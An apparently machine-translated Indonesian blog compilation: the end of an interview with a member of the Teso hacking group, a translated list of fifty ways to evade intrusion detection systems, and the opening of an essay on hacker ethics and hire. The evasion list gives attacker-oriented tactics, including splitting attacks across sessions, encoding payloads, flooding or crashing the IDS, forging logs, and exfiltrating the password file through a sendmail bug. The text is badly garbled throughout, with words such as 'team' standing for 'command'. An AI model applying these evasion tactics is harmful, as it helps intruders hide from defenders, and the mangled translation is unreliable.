yang memiliki spesialisasi mereka sendiri dan berpengetahuan dalam hal ini sangat
tingkat tinggi. Adapun para pembaca ... Saya pikir sekarang sudah tidak mungkin
mungkin.
mindw0rk: Teso aktif mengembangkan produk baru untuk jaringan pasar
Keselamatan: Selalu ada eksploitasi baru, update
Versi lama program dokumentasi tertulis ... Banyak hacking
kelompok kinerja tersebut dan tidak pernah bermimpi! Bagaimana Anda mengelola sehingga
harmonis dan bekerja secara intensif?
Bangsat: Mungkin semuanya dalam kelompok infrastruktur yang berbeda
berdiri sejak awal. Dengan infrastruktur, saya
berarti suatu tempat khusus di mana kita bisa membahas semua masalah
bertukar pandangan dan gagasan, dan cepat menemukan satu sama lain. Kami
mendirikan mailing list khusus untuk anggota kelompok, ada pribadi,
ditutup dari akun shell luar, chatting, yang memungkinkan Anda untuk bertukar
file. Selain itu, kami sering membantu berbagai organisasi yang
menawarkan web hosting gratis, browsing Web,
peralatan komputer, memberikan akses gratis ke mesin eksotis.

mindw0rk: Yah, tidak bebas itu, mungkin? Saya kira untuk apa yang pernah
layanan jaringan, dalam pertukaran informasi dan eksploitasi terbaru?
Bangsat: Tidak ada. Mereka membantu kami, meminta apa-apa. Kemungkinan
mereka hanya mencintai pekerjaan kami dan mereka mencoba seperti itu
mempromosikan. Di Jerman, bantuan tersebut adalah ilmuwan menjanjikan dan
peneliti secara luas dipraktekkan. Jadi, pada prinsipnya,
Teso teknik diimplementasikan secara penuh. Kelemahannya adalah ia merasa bahwa
di waktu luang dan ketersediaan yang baru, ide-ide menarik. Sejak
kebanyakan dari kita hidup di negara maju, uang juga tidak
merupakan masalah besar.
mindw0rk: By the way, tentang uang. Teso yang bergerak di bidang komersial
kegiatan?
Bangsat: Tidak, pekerjaan kelompok didasarkan hanya pada antusiasme. Kami
seperti apa yang kita lakukan. Juga di masa depan pengalaman yang diperoleh
di Teso, akan membantu mendapatkan pekerjaan bergaji tinggi. Setidaknya
mereka yang belum menerimanya belum.
mindw0rk: Bagaimana menurut anda proyek Teso yang paling populer dan penting
ke dunia keamanan komputer?
Bangsat: Terus terang, saya tidak cukup membayangkan bahwa di komputer
lingkungan berarti popularitas. Jika respon masyarakat - yaitu,
Tentu, sebagian dari eksploitasi kami. Menulis mereka membutuhkan
keterampilan tertentu, sehingga biasanya orang-orang yang menulis eksploit
dihormati. Tapi saya pikir lebih banyak yang baik membawa kita
artikel dan laporan penelitian. Informasi yang mereka berikan,
jauh lebih penting daripada sepotong kode, pemberian hak istimewa Anda. Memiliki
pengetahuan yang Anda mungkin menemukan dirinya rentan, dan tidak bergantung pada
program yang akan melakukannya untuk Anda.
mindw0rk: Anggota grup yang terlibat dalam konferensi komputer?
Apakah kuliah dan presentasi kepada penonton? Jika ya, maka
topik apa?
Bangsat: Ya, banyak dari kita yang senang untuk menghadiri tersebut
acara. Karena ada kita bisa bertemu di riallayfe, membahas
Secara pribadi, semua proyek buduyuschie, menghabiskan waktu dengan teman-teman. Biasanya kita
kuliah. Sebagai contoh, kita berpartisipasi dengan presentasi di seperti
konferensi dan nongkrong hacker seperti CCCamp,, HAL2001 17c3, 18c3,
Blackhat, Defcon, serta beberapa kurang dikenal. Dari masa lalu
jadi saya tidak ingat "reverse engineering", "kerentanan scan"
"Seni penulisan dan penggunaan eksploitasi," "kriptografi."
mindw0rk: Dan mereka sendiri tidak mengatur hal seperti ini?
Bangsat: Tidak, konferensi komputer, kami belum dilakukan. Namun:)
Namun kita terkadang membuat pihak kecil mereka sendiri, yang
berpartisipasi anggota tim dan beberapa teman. Jadi kita semua dengan masing-masing
orang lain akrab.
mindw0rk: Teso - perusahaan yang dikenal dan dihormati di bidang komputer
keamanan. Seberapa besar minatnya dalam pers? Mungkin Anda
diundang untuk beberapa acara TV? Dan seberapa sering kamu berusaha
Papan oleh nick sederhana?
Bangsat: Beberapa artikel yang menyebutkan Teso saya temui di Internet, namun
Di TV kami tidak diundang, wawancara - tidak mengambil. Tapi untuk
saran kepada kami meminta lebih banyak. Jika pertanyaan sudah benar dan
ini bukan pertanyaan yang jawabannya dapat ditemukan oleh mesin pencari untuk dua
menit, kita biasanya merekomendasikan hal ini kepada semua orang itu menjelaskan.
mindw0rk: Anggota kelompok memilih untuk bekerja secara anonim, atau Anda
apa-apa untuk menyembunyikan?
Bangsat: Semua orang di Teso bebas memilih apa yang harus dilakukan.
Beberapa dari kita yang terbuka untuk publik informasi pribadi tentang diri -
nama asli dan nama keluarga. Lain - data laporan mereka tidak cinta.
Ada beberapa orang yang lebih memilih untuk tidak menyebutkan nya
keterlibatan dalam kelompok. Privasi - pribadi dan
kita tidak ikut campur.
mindw0rk: Dan orang-orang yang mengungkapkan wajah sejati tidak takut untuk mendapatkan
di tangan FBI? Bagaimana Anda lakukan dengan itu? Dilecehkan oleh
intelijen tidak mempengaruhi mereka?
Bangsat: Kami bekerja sama dengan perusahaan besar dan organisasi
sebagai CERT, IBM, SGI, membuat laporan tentang kerentanan ditemukan
menerbitkan artikel dan dokumentasi tentang topik keamanan Internet. K
Selain itu, kami mengumumkan informasi yang tidak ditemukan pada semua
bug. Jadi kita tidak membantu penyerang, tetapi sistem
administrator dan orang-orang yang ingin memahami hal-hal serius. Kami
tidak mengejar, untuk kami, seperti yang saya sebutkan, pada bantuan sebaliknya.
mindw0rk: Dan apa yang telah Teso tidak memiliki musuh?
Bangsat: Pada "resmi" musuh-musuh kelompok, saya belum mendengar. Tapi selalu
ada pengkritik yang uzreyut arti yang sama sekali berbeda dalam
kegiatan kami. Kami akan, jika memungkinkan, memperlakukan orang-orang ini
toleran. Tentu saja, jika mereka tidak mulai mendapatkan pribadi atau
Apa yang bisa kita lakukan kotoran sesuatu fisik.
mindw0rk: Apa kelompok rencana untuk masa depan?
Bangsat: Dari rencana blizzhayshih - beberapa rilis menarik untuk 19
"Chaos Komunikasi Kongres" (apa - masih rahasia). Di masa depan,
akan sedikit mengubah prinsip kerja dan untuk membayar lebih
pada kualitas produk manufaktur daripada kuantitas mereka.
mindw0rk: Sebuah pemikiran tentang bagaimana memulai memproduksi
jurnal elektronik seperti "Phrack"?
Bangsat: Mungkin suatu hari nanti kita akan benar-benar melakukan sesuatu seperti itu.
"Phrack" memiliki tradisi yang panjang dan sangat populer di seluruh dunia. Akan
keras untuk mengalahkan nya ... tetapi tidak ada yang mustahil. Waktu
tampilkan.
Bangsat tentang diri Anda:
mindw0rk: Nah, kelompok diselesaikan, mari kita bicara tentang
Anda? Memperkenalkan diri - apa nama Anda, di mana Anda tinggal, bagaimana untuk menjadi terbawa
keamanan komputer?
Bangsat: Nama saya Sebastien, aku 21, tinggal di Jerman, belajar di
Institute di Departemen Ilmu Komputer. Dengan komputer
bertemu begitu lama yang hampir tidak ingat bagaimana hal itu terjadi.
Ketika saya melihat komputer pertama saya - 286 PC dengan sebuah monokrom
monitor - saya sekitar 6. Tapi bunga dalam pemrograman telah muncul,
ketika pada usia sembilan tahun, orang tua saya membeli saya "Commodore 64". C
lebih mudah untuk mengelola daripada dengan mesin modern dan aku cepat-cepat
dikirimkan ke assembler. Lalu aku mendapat "Amiga", kemudian -
PC. Dalam 14 tahun saya tertarik untuk belajar teknologi untuk melindungi program dari
catatan, mungkin itu adalah langkah pertama saya ke dunia komputer
keamanan. Sejak tahun 1997, saya memilih penggemar jaringan jalan, menjadi
belajar pemrograman C dan sistem di Linux.
mindw0rk: Anda memiliki kewenangan yang sangat kompeten orang. Seperti
berhasil mencapai seperti pengetahuan yang mendalam di komputer? Dan apa yang Anda
mengerti tentang terutama yang baik?
Bangsat: Hampir semua pengetahuan yang saya mendapatkan diriku dengan membaca baik
buku yang menyarankan teman-teman, belajar, bereksperimen. Guru,
karena itu, saya tidak punya, setidaknya mereka bahwa saya akan
seperti untuk disebutkan. Tetapi kadang-kadang saran dari para ahli dibantu dalam sesuatu
mengerti. Kurasa aku cukup baik saya tahu bahasa C, baik di rendah
dan tingkat tinggi, dan aku harus cukup baik untuk menemukan kesalahan dalam
berbagai program.
mindw0rk: Apa yang Anda pikirkan, mengapa Anda memilih jalan ini? Itu
pengetahuan komputer mereka memberi Anda?
Bajingan: Aku salah satu dari orang-orang yang ingin memahami semua teliti,
yang mengelilingi mereka. Komputer - sebuah aplikasi handal yang menyediakan
terbatas bidang penelitian, dan kemampuannya untuk secara efektif
menggunakan tidak hanya membantu Anda dalam lingkungan virtual, tetapi juga secara real
hidup. Saya berharap keterampilan ini akan membantu saya untuk pernah menemukan yang layak
bekerja. Meskipun, secara umum, saya tidak terbatas komputer sendiri.

mindw0rk: Dalam hal ini, apa yang Anda tertarik untuk lebih dari penelitian
program? Mean non-komputer hobi.
Bajingan: Aku bermain cinta olahraga dan menghabiskan waktu dengan teman-teman. Cinta
berjalan dengan pacarnya. Sebagai hobi - menguasai dan
menjalankan bumerang. Saya memiliki koleksi sendiri kecil saya buatan sendiri
bumerang, yang saya sangat pantai.
mindw0rk: Siapakah "hacker" dalam pemahaman Anda? Apakah Anda menelepon
hacker? Apa karakter harus menjadi hacker, apa yang
pengetahuan itu harus memiliki? Apa menurut Anda masa depan sedang menunggu
hacker?
Bangsat: Hacker - seseorang yang menimbulkan sebuah pertanyaan
pandangan didirikan pada teknologi dan lebih menyukai pendekatan kreatif.
Ya, saya menyebut diri hacker. Jangan berpikir Anda bisa menggambar
hacker khas, namun beberapa fitur yang melekat pada hampir semua dari mereka.
Semua hacker nilai kebebasan mereka (dalam segala bentuknya) lebih
apa-apa, mereka lebih memilih solusi kreatif untuk standar,
cinta berjam-jam untuk membahas rincian teknis dengan hacker lainnya. Itu
Adapun masa depan - saya pikir akan sangat kontras. Di satu
sisi - kesempatan untuk mencari pekerjaan menarik dan melakukan apa
Apakah Anda ingin dibayar untuk itu. Di sisi lain - saya melihat besar
bahaya dari instansi pemerintah berusaha
membatasi kebebasan penelitian teknologi di seluruh dunia
(Misalnya, aplikasi yang sama DMCA)
mindw0rk: Siapa otoritas Anda di dunia hacker?
Bangsat: Saya menghormati orang banyak dalam komunitas hacker, tapi saya pikir mereka
juga menyadari hal ini. Menyatakan sehingga publik - berarti bagi saya
menunjukkan rasa buruk. Adapun orang di luar adegan hacker - saya
menghormati programmer yang baik, penulis, kompiler, dan Geeks komputer,
yang tidak kehilangan tempat duduk di mobil rasa humor. Pieter van
der Linden, dan Richard Stevens - adalah contoh yang sangat baik.
mindw0rk: Apa yang Anda ketahui tentang Rusia, adegan hacking Rusia?
Apa pendapat Anda tentang tingkat hacker kami / ahli komputer?
Apakah seseorang dengan salah satu hubungan kita?
Bangsat: Rusia terkenal dengan kerupuk elit software-nya.
Adapun adegan hacking - sebagian besar berita tentang Rusia
memiliki semburat kriminal. Saya rasa ini adalah sebuah negara di mana orang tidak
banyak kesempatan untuk menggunakan keahlian mereka untuk tujuan yang sah, sehingga
mereka mulai menyiksa mereka. Tapi di Rusia benar-benar ada
sangat baik hacker. Ya, saya mendukung beberapa komunikasi.
mindw0rk: Berapa banyak waktu yang Anda habiskan di komputer pada umumnya dan bagi
bekerja di tertentu? Apa hal favorit Anda untuk melakukan di
komputer? Berapa lama waktu yang dibutuhkan Anda untuk menemukan yang baru
kerentanan?
Bangsat: Untuk komputer saya menghabiskan rata-rata 6-10 jam per hari
yang menempati sekitar sepertiga dari penelitian. Tapi aku bisa tenang
menunda berpisah dengan PC dalam beberapa minggu. Bagi saya
komputer - tidak lebih dari alat. Favorite hiburan -
pemrograman. Menangkap beberapa bug tidak mengambil banyak
waktu. Dan inilah yang menarik sesuatu, sesuatu yang substansial bisa
membutuhkan banyak jam tanpa hasil pencarian.
mindw0rk: Anda menggunakan pengetahuan mereka untuk menghasilkan uang?
Bajingan: Aku tinggal dengan orangtua saya dan mereka beritahu saya jika Anda membutuhkan uang untuk memberi. Kadang-kadang
memenuhi pesanan kecil di institut - juga membawa uang.
Meskipun keuangan tidak bagi saya untuk memainkan peran kunci dan saya bekerja demi
kesenangan dan pengalaman.
mindw0rk: Dan aku tidak pernah berpikir tentang berhenti itu semua
neraka dan melakukan sesuatu yang sedikit lebih santai. Pertanian
di sana, mengajar? Kalau bukan untuk komputer di mana Anda ingin bekerja?

Bangsat: Kurasa aku bisa menjadi seorang ilmuwan, seperti dalam penelitian,
dan akademis. Saya suka ilmu pengetahuan, matematika,
fisika dan kimia. Saya mungkin seorang matematikawan yang baik. Atau setidaknya
kasus, perancang.
mindw0rk: Ketika Anda memikirkan internet akan pindah ke IPv6?
Bangsat: Saya kira batas alamat tidak menjadi masalah. Tapi dengan pertumbuhan
popularitas berbagai perangkat mobile dan konektivitas
Internet, bahkan peralatan rumah - ekstensi protokol tidak bisa dihindari.
mindw0rk: Dan apa yang Anda ketahui tentang Internet2 opini Anda tentang hal itu
diperlukan? Bangsat: ini jaringan riset, umum di
terutama di Amerika Serikat. Di Eropa kami memiliki jaringan yang sama tetapi dengan lebih
kuat arsitektur - GEANT. Saya pikir itu cukup mahal, tapi perlu
untuk interaksi yang efektif dari para ilmuwan dan penelitian bersama,
jaringan.
mindw0rk: Apa yang Anda pikirkan tentang orang-orang yang menulis virus berbahaya,
website Merusak, malware menyebar, mencuri dan
menguangkan kartu kredit orang lain ... tentang setiap orang yang menggunakan
pengetahuan mereka untuk menanggung kerusakan dan kekacauan?
Bangsat: Saya pikir orang tersebut bagi semua ini harus
alasan serius. Tapi, terus terang, seseorang tidak dapat
bahaya serius untuk lain kecuali untuk beberapa
pengecualian tidak hari ini relevan. Orang-orang seperti perlu diyakinkan tidak
bahwa kerusakan yang menyebabkan tidak berarti, dan bahwa mereka menghabiskan
membuang-buang waktu mereka, yang dapat mengambil manfaat bagi diri mereka sendiri dan
lain. Orang yang memiliki keterampilan yang diperlukan
menulis virus, malah dapat menulis sesuatu yang sangat
asli, layak publisitas positif. Tentu saja,
menulis virus - pengalaman yang sangat menarik untuk programmer yang baik.
Tetapi tidak perlu untuk mendistribusikan secara online.
mindw0rk: bangsat, kerja intelektual konstan, stres,
harian duduk di komputer jelas terpengaruh. Bagaimana Anda
istirahat dan berjuang dengan stres?
Bangsat: Untuk beberapa, cara terbaik - perjalanan ke jauh liar
sudut. Tapi aku jauh lebih membantu untuk bersantai secangkir teh
mudah, musik santai dan menghabiskan beberapa jam saja
dengan mereka. mindw0rk: Urutan Anda: komputer yang
bekerja, apa yuzaesh OS di situs yang sering dikunjungi, kebanyakan
startup program, film favorit (aktor), buku, majalah,
kelompok musik, permainan komputer (injunctive .. bisa bermain sebagai seorang anak)
negara, yang ingin tinggal?
Bangsat: Saya menggunakan PC prosesor ia32 modern berbasis prosesor Athlon dengan
terinstal Debian / sid. Saya lebih suka bekerja di bawah Linux. Dalam
Internet secara teratur mengunjungi slashdot.org, freshmeat.net dan
securitynewsportal.com. Sering menggunakan program "layar" -
multi-purpose terminal, yang banyak orang meremehkan. Aku
seperti film "Leon-pembunuh," tapi bagaimana dengan aktor merespon
sulit. Buku Favorit - mungkin, "Expert C Programming",
Majalah - tentu saja, "Phrack". Aku mendengarkan musik terus-menerus, lebih
ini tidak mengganggu, melainkan membantu untuk fokus:
Enya dan Steve Roach. Sama seperti mendengarkan U2, Dave Matthews Band dan
REM. Game terbesar sepanjang masa saya pikir "Great Giana Sisters"
(1987), "Turrican 2" (1994) dan "Digger" (1983). Berkenaan dengan negara -
Aku suka tinggal di Jerman.
mindw0rk: Apa buku dapat Anda rekomendasikan untuk pembaca
belajar pemrograman, spesifikasi jaringan, komputer
teknologi? Juga tertarik pada pendapat Anda tentang seni
sastra.
Bangsat: Dari komputer: "Expert C Programming" (dengan) Peter van der
Linden, "UNIX Network Programming, Vol.2 Soket dan XTI" (c)
Richard Stevens, "Compiler" (buku naga) (c) Aho, Sethi dan
Ullman. Seni: "te Raja Tao" (c) oleh Lao Tse, "The Old
manusia dan Laut "(c) Hemmingway Ernest dan" Menjelajahi Dunia
Lucid Dreaming "(c) LaBerge Stephen.
mindw0rk: Berikan komentar singkat kata: IRC, ICQ, vebchat,
informasi, pemerintah, kehidupan, teman, orang pintar. Apa yang Anda
pertama kali datang ke pikiran ketika Anda mendengar mereka?
Bangsat: IRC - hal yang baik jika tidak disalahgunakan, ICQ - baik
ide, tapi ara dalam pelaksanaan keamanan. Ada
alternatif yang lebih baik - Jabber. Vebchat - untuk pangkat dan file
perubahan ini pengguna teknologi berbobot dan komunikasi.
Informasi - bisa membawa jutaan, merampas jutaan, dan dapat
tidak ada di semua biaya. Pemerintah - tidak akan mencegah lebih
rajin untuk merawat warga negaranya. Hidup - yang penting, itu
harus dihormati. Teman - teman hidup lebih mudah dan lebih menyenangkan. Cerdas
orang - sampai Anda telah memiliki banyak orang pintar, setelah mereka juga, Anda akan
cukup. Oleh karena itu anda seharusnya tidak terlalu bangga banyak dalam pikiran mereka.
mindw0rk: Bagaimana Anda melihat masa depan kita dalam hal teknologi
kemajuan?
Bangsat: Di depan kami menunggu untuk kemajuan yang lebih intensif. Sudah
tidak ada banyak pekerjaan di mana kita melakukannya tanpa mesin elektronik,
mesin akan segera benar-benar tertanam dalam hidup kita ... di
Seperti di negara-negara Barat. Saya tidak berpikir bahwa ini akan menjadi masalah besar
tapi pasti - untuk mengubah segala sesuatu di dunia. Sebagai generasi saya akan
memantau perkembangan ini, saya berharap punya waktu untuk menemukan waktu
perubahan besar. Dekat masa depan, aku melihat agak optimis
cahaya. Saya kira segera akan ada penemuan baru, yang sangat
mempengaruhi kehidupan sehari-hari kita dan memfasilitasi. Seperti ini dalam bukunya
waktu untuk membuat telepon, televisi, ponsel dan internet. Hidup akan
bahkan lebih menarik.
mindw0rk: Terima kasih atas wahyu, bangsat. Akhirnya, oleh tradisi,
ingin pembaca kami.
Bangsat: Jangan berharap bahwa kata-kata saya sepertinya moralitas, tetapi:
Menghormati orang lain, tidak mengorbankan impian Anda dan cita-cita demi
cepat uang.

50 cara untuk memotong sistem deteksi intrusi

2011-03-28T08:51:00.000+07:00

50 cara untuk memotong sistem deteksi intrusi

Kata pengantar oleh penerjemah: sebuah pengantar kecil untuk artikel asli dihapus karena itu tidak relevan. Ini menggambarkan bagaimana Fred mendapatkan ide untuk menulis hal ini. Aku merindukan. Satu-satunya untuk menambahkan - penulis memperingatkan bahwa bahan ini harus diperlakukan secara simultan dan serius dan dengan jumlah tertentu ironi. Banyak cara untuk hanya berlaku untuk OS Unix.

· Memasukkan karakter asing ke dalam serangan, yang biasanya menyebabkan ketidakmampuan untuk mendeteksi itu. (Catatan Translator's - menyangkut sistem deteksi penyalahgunaan yang menggunakan tanda tangan serangan).

· Menggunakan tab bukan ruang dalam tim. Seperti perubahan dalam separator juga dapat menyebabkan ketidakmungkinan untuk mendeteksi serangan.

· Caranya sangat mirip dengan langkah 2. Anda bisa mengubah karakter pemisah dalam sistem (misalnya,%), yang akan menimbulkan masalah tertentu dengan sistem deteksi intrusi.

· Ubah urutan standar tindakan selama serangan. Sebagai contoh, jika serangan dilakukan sama dan dengan 'a, b, c' dan 'b; a, c', sebagian besar sistem deteksi intrusi akan mendeteksi perwujudan pertama serangan, tetapi "kios" pada variasinya.

· Membagi serangan oleh beberapa pengguna. Jika kita mengambil contoh di atas, 'a, b' menyediakan pengguna pertama, dan 'c' - yang kedua. Seperti perpisahan tidak terdeteksi oleh sistem deteksi intrusi banyak.

· Pisahkan serangan di beberapa sesi (sesi). Misalnya, dalam hal berikut: Login -> 'a, b' -> Logout -> Login - 'c'>.

· Pisahkan serangan antara IP-adresami/sistemami beberapa remote. Misalnya, dengan node X Y mulai dan 'a' dari X, 'b' dengan Y, dan 'c' kemudian lagi dengan X.

· Tentukan sebuah makro untuk perintah yang digunakan dalam serangan itu. Misalnya, 'cp' perintah mendefinisikan makro '$ ZZ' dan kemudian menggunakannya bukan 'cp'.

· Mendefinisikan makro sebagai parameter yang digunakan dalam serangan itu. Misalnya, gunakan '$ P' bukan string '/ etc / passwd'.

· Buat script yang akan menggantikan perintah yang digunakan dalam serangan itu. Jika dilaksanakan dengan hati-hati operasi ini, IDS tidak akan dapat mengaitkan dengan nama script dan instruksi untuk serangan yang akan menyebabkan ia lulus.

Biaya Tambahan - tambahkan komentar untuk garis serangan.

· Gunakan berbagai perintah untuk melakukan fungsi yang sama. Misalnya, dalam Unix 'echo *' adalah hampir sama dengan 'ls'.

· Ubah nama serangan. Misalnya, jika serangan menggunakan 'xxx' file sementara, kemudian ubah ke 'yyy'.

· Buat penerjemah kode-buku untuk serangan kata kunci. Hal ini dapat dilakukan pengiriman semua perintah serangan melalui filter menggunakan 'sed' untuk substitusi string.

· serangan Encode dikodekan 'EBCDIC', dan mengubah tipe terminal pada 'EBCDIC'. Intrusion Detection System tidak dapat mendeteksi berbagai serangan dalam pengkodean.

· Menerapkan serangan pada saluran terenkripsi.

· Gunakan notasi postfix untuk data atau perintah serangan, dan kemudian kembali ke akhir. sistem deteksi Intrusion tidak dapat mengenali perintah dikirim dalam bentuk ini. (Translator's Note - yang paling penting, untuk sistem target juga mampu memahami urutan terbalik).

· Sertakan full-dupleks (dupleks penuh) modus koneksi untuk menyerang. karakter tambahan yang dibuat dalam mode ini, sistem akan membingungkan IDS.

· Mix beberapa serangan, bergantian antara tim dari masing-masing. Intrusion Detection System seharusnya tidak masuk akal untuk mengenali salah satu dari mereka.

· Encode hasil serangan sehingga mereka tidak sesuai dengan pola dan tidak dapat digunakan untuk mendeteksi serangan. Sebagai contoh, alih-alih segera mengirimkan dirinya ke email file password, menggunakan bug di sendmail, melewati berkas ini melalui 'sed' naskah dan mengganti semua karakter ':' on '-'. Dengan demikian, Anda tidak signifikan, mengubah file password, yang akan tidak lagi cocok dengan pola.

· Serangan dari "melompat-lompat" melalui script mengganti karakter, ditulis dalam awk. Ini adalah sistem deteksi intrusi menyesatkan.

Tambahan Mengisi - Ikuti tim, dipilih dari meja di depan perintah ini dijalankan oleh nomor baris dari tabel. Misalnya, untuk menjalankan 'dir *. com' perintah yang bisa Anda berikan perintah '15 com *. '.

· Menekan port modul pelacakan. Misalnya, Anda dapat mengirim echo modul pelacakan port, sehingga mustahil untuk menerima data lain.

· Kirim paket sistem deteksi intrusi PING yang besar. Banyak sistem akan dinonaktifkan.

· Hancurkan sistem deteksi intrusi dengan menyerang situs yang diinstal. Mengorbankan situs ini, Anda dapat menonaktifkan sistem itu sendiri dan mendeteksi serangan.

· Buat entri palsu dalam file log untuk menyesatkan sistem deteksi intrusi. Misalnya, membuat antara peristiwa yang menjadi ciri serangan, peristiwa palsu, penipuan yang mengarah ke sistem deteksi intrusi.

· Ambil semua ruang yang dialokasikan untuk sistem deteksi intrusi. Sebagai contoh, Anda dapat membuat banyak peristiwa yang melimpah log sistem deteksi intrusi dan memungkinkan untuk mendeteksi serangan lainnya.

· Hentikan proses menghasilkan dan mengumpulkan data tentang serangan. Sebagai contoh, Anda dapat menghasilkan sejumlah besar proses-proses, sehingga mencegah proses deteksi intrusi sistem untuk pengumpulan data.

· Dapatkan sistem deteksi intrusi mengganggu koneksi. Sebagai contoh, sistem deteksi intrusi beberapa dapat menghentikan koneksi dengan host menyerang. Anda dapat membuat lalu lintas dari node yang ingin menyerang. sistem deteksi Intrusion akan memblokir semua paket yang berasal dari node dikompromikan, sehingga memberikan Anda kesempatan untuk menyerang situs ini seperti yang Anda inginkan.

· Pengulangan

· Menggunakan serangan perintah 'emacs' editor buffer 'cmd' bukannya mengetik. sistem deteksi Intrusion akan "melihat" hanya menekan tombol panas, sedangkan shell pada komputer korban akan menerima serangan tim. (Catatan Penerjemah - berpaling serba salah, namun makna umumnya dipahami).

api Sekunder - melakukan serangan sangat lambat. Karena ukuran buffer menyimpan data pendaftaran terbatas, tim pertama Anda menyerang mungkin akan hilang untuk saat-saat ketika Anda menyadari serangan tim terakhir.

· Memodifikasi tabel routing untuk menghindari mendapatkan lalu lintas ke IDS.

· Sebuah modifikasi sedikit contoh sebelumnya.

· Gunakan sumber routing pada komponen langsung serangan melalui rute yang berbeda, sehingga menipu sistem deteksi intrusi tunggal.

· Memulai sesi outbound dengan korban melalui modem dan koneksi ini menghabiskan serangan. Jaringan sistem deteksi intrusi akan kehilangan serangan.

· Ubah infrastruktur antara korban dan IDS. Dengan manajemen jarak jauh, dan sistem deteksi intrusi jaringan sering cukup untuk ini untuk mengubah rute lalu lintas (misalnya).

· Gunakan smart host. serangan Anda bisa diblok, tetapi dalam kasus ini sangat sulit untuk melacak sumber serangan, terutama jika lawan Anda tidak memiliki kemampuan ini.

· Mulai serangan dengan port jarang digunakan atau tidak digunakan. Sangat sering, sistem deteksi intrusi tidak mengendalikan port.

· Gunakan protokol dimodifikasi, seperti mereka yang membayar byte dalam kata-kata (misalnya, PDP-11 dan VAX).

· Gunakan IPX over IP. Intrusion Detection System dapat menarik perhatian pada-paket IP, tapi tidak mengerti isinya.

· Gunakan protokol terowongan yang berbeda untuk menyerang.

Serangan Lebih - mendefinisikan protokol dan aplikasi Anda sendiri, dan menyerang melalui mereka.

· Menyerang melalui koneksi dial-up. Jaringan sistem deteksi intrusi tidak akan pernah memperhatikan senyawa tersebut. (Catatan Translator's -. Agak titik diperdebatkan Setidaknya sistem RealSecure kontrol koneksi tersebut).

· Membuat sejumlah besar acara palsu untuk meningkatkan tingkat "kebisingan" untuk sistem deteksi intrusi. Ini serius meningkatkan waktu dan sumber daya yang dihabiskan untuk mendeteksi serangan yang sebenarnya.

· Masukkan serangan tim dalam WinWord makro. Mungkin sistem deteksi intrusi tidak dapat mendeteksi serangan itu.

· Masukkan serangan tim di dalam makro berbagai paket perangkat lunak (PowerPoint, Excel, Access, 123, dll). Mungkin sistem deteksi intrusi tidak dapat mendeteksi serangan itu.

· Tempatkan serangan dalam program yang dikompilasi (yaitu, sebuah Trojan horse), dan membiarkan korban untuk mendownload dan menjalankan file ini.

· Gunakan protokol jarang-digunakan untuk menyerang. Mungkin sistem deteksi intrusi tidak bisa menafsirkan paket protokol ini.

· Live streaming serangan ke bahasa lain yang berbeda dari yang pertama kali diterbitkan versi asli.

· Gunakan tindakan-tindakan non-teknis untuk serangan (misalnya, inzhinirig sosial). Karena sistem deteksi intrusi beroperasi dengan hanya bit dan byte, banyak serangan digunakan saat ini tidak akan terdeteksi.

· Serangan pada setiap situs yang fungsional tidak berjalan Unix. Hampir semua sistem deteksi intrusi yang ada tidak mendeteksi serangan ditujukan bukan pada Unix. (Catatan Translator's - cara ini telah lama usang).

· Gunakan salah satu dari ribuan serangan yang belum terdeteksi oleh sistem deteksi intrusi.

Apa yang berdosa dan apa yang tidak

2011-03-28T08:47:00.000+07:00

Apa yang berdosa dan apa yang tidak

- Balaganov - diperkenalkan si rambut merah. - Shura Balaganov.

- Tentang profesi tidak meminta - sopan kata Besher - tapi aku bisa menebak. Mungkin sesuatu yang cerdas? Keyakinan bagi tujuan banyak?

- Dua - bebas menjawab Balaganov.

- Itu tidak baik. Mengapa Anda prolan jiwa yang abadi? Seseorang tidak boleh menuntut. Hal ini hambar untuk dilakukan. Maksudku, pencurian. Belum lagi fakta bahwa mencuri adalah dosa - ibu saya, mungkin memperkenalkan Anda sebagai seorang anak dengan doktrin seperti itu - juga limbah sia-sia upaya dan energi.

Ilya Ilf dan Petrov. The Golden Calf.

Saya ingin bicara tentang beberapa hacking non-teknik izin masalah hacker. Ada saat dimana, apa pun alasannya, hacker diperlukan untuk membuat istirahat untuk waktu yang singkat waktu tertentu. Dalam situasi seperti itu, metode konvensional, memakan waktu, tidak cocok, dan kemudian harus menempuh langkah-langkah ekstrim. Untuk sebagian besar kita berbicara tentang hacking sebagai profesi, dan saya merasa perlu membicarakannya di sini, sejak terakhir kali dalam dunia hacker telah menjadi mode untuk bekerja "hacker untuk disewa".

hacking untuk menyewa

Beberapa hacker "kembali berpendidikan", menjadi seorang konsultan keamanan komputer di perusahaan dan pemerintah. Ini "desertir" berada di bawah serangan dari dua sisi. Hacker berkata: "Bagaimana kamu berani melakukan hal ini kepada kami!" (Keberatan: "hacker ini tidak akan mencalonkan

seperti tuduhan. hacker ini mengambil kenikmatan dalam mencoba untuk mengecoh para hacker lainnya dan jangan biarkan dia membuat penyok dalam keamanan komputer. " Hukum warga negara yang taat juga, tidak puas dengan:

"Sebelumnya, dia tidak bisa dipercaya, mengapa harus kita percaya sekarang?" Atau: "Jika Anda tahu cara hack sistem, itu tidak berarti bahwa Anda tahu cara untuk melindunginya dari penyusup." Ini adalah sebuah argumen cukup masuk akal.

Jika Anda memiliki keinginan untuk terlibat dalam bisnis ini, Anda tahu - Anda tidak sendirian. Perusahaan tersebut membayar $ 20,000 atau penyerang lebih, yang setuju untuk mencoba masuk ke komputer mereka. "Tim Tiger" ("Tiger tim") - kelompok apa yang disebut hacker, dan kadang-kadang hacker tunggal, yang dipekerjakan personil untuk memverifikasi bahwa komputer mereka dijahit untuk daya tahan. Jika Anda memutuskan untuk memilih jalan ini, Anda harus membuat reputasi sebagai seorang profesional yang dapat anda percaya. Anda perlu membuktikan bahwa Anda hacker kompeten, tetapi tidak boleh diberikan untuk memahami bahwa Anda hidup semangat memberontak.

Ingat bahwa komputer beresiko tidak hanya dari kerupuk. Ada virus berbahaya dengan syarat komputer, muddler, staf dan penyakit lainnya yang dapat mengirim ke bagian bawah kapal yang paling tak dpt tenggelam. Memperingatkan pemilik komputer di masalah mungkin, Anda akan memenangkan eksklusif untuk menghormati dan rekomendasi bagi pengusaha lainnya.

